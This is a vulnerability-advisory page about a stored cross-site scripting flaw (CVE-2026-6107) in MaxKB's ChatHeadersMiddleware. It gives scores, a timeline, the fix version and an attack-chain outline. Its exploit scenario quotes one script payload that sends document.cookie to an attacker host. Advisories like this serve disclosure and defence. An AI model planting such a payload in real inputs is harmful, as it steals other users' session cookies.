Skip to main content

Maxkb EUVD-2026-21688

| CVE-2026-6107 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-12 VulDB
XSS Maxkb
5.1
CVSS 4.0 · NVD
Share

Severity by source

NVD PRIMARY
5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
P
Scope
X

Lifecycle Timeline

7
Severity Changed
Apr 12, 2026 - 01:22 NVD
LOW MEDIUM
CVSS changed
Apr 12, 2026 - 01:22 NVD
3.5 (LOW) 5.1 (MEDIUM)
Analysis Generated
Apr 12, 2026 - 01:17 vuln.today
EUVD ID Assigned
Apr 12, 2026 - 01:15 euvd
EUVD-2026-21688
Analysis Generated
Apr 12, 2026 - 01:15 vuln.today
Patch released
Apr 12, 2026 - 01:15 nvd
Patch available
CVE Published
Apr 12, 2026 - 00:45 nvd
MEDIUM 5.1

DescriptionCVE.org

A flaw has been found in 1Panel-dev MaxKB up to 2.6.1. This issue affects some unknown processing of the file apps/common/middleware/chat_headers_middleware.py of the component ChatHeadersMiddleware. This manipulation of the argument Name causes cross site scripting. Remote exploitation of the attack is possible. Upgrading to version 2.8.0 is capable of addressing this issue. Patch name: 026a2d623e2aa5efa67c4834651e79d5d7cab1da. Upgrading the affected component is advised. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.

AnalysisAI

Stored cross-site scripting (XSS) in 1Panel-dev MaxKB up to version 2.6.1 allows authenticated remote attackers to inject malicious scripts via the Name argument in ChatHeadersMiddleware, requiring user interaction to trigger. The vulnerability has a low CVSS score (3.5) due to requiring authentication and user interaction, but XSS can lead to session hijacking or credential theft. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate to MaxKB instance
Delivery
Inject malicious script in Name parameter
Exploit
Victim views affected chat header
Execution
JavaScript executes in victim's browser
Impact
Attacker captures session token or credentials
Sign in to reveal

Vulnerability AssessmentAI

Risk Assessment This vulnerability presents low-to-moderate real-world risk despite its low CVSS score (3.5). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An authenticated attacker with access to MaxKB creates or modifies a chat session, injecting JavaScript code into the Name field (e.g., '<script>fetch("https://attacker.com/steal?cookie=" + document.cookie)</script>'). When another user (administrator or fellow team member) views the chat headers, the injected script executes in their browser, silently exfiltrating session cookies or authentication tokens to the attacker's server. …
Remediation Vendor-released patch: upgrade MaxKB to version 2.8.0 or later. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

EUVD-2026-21688 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy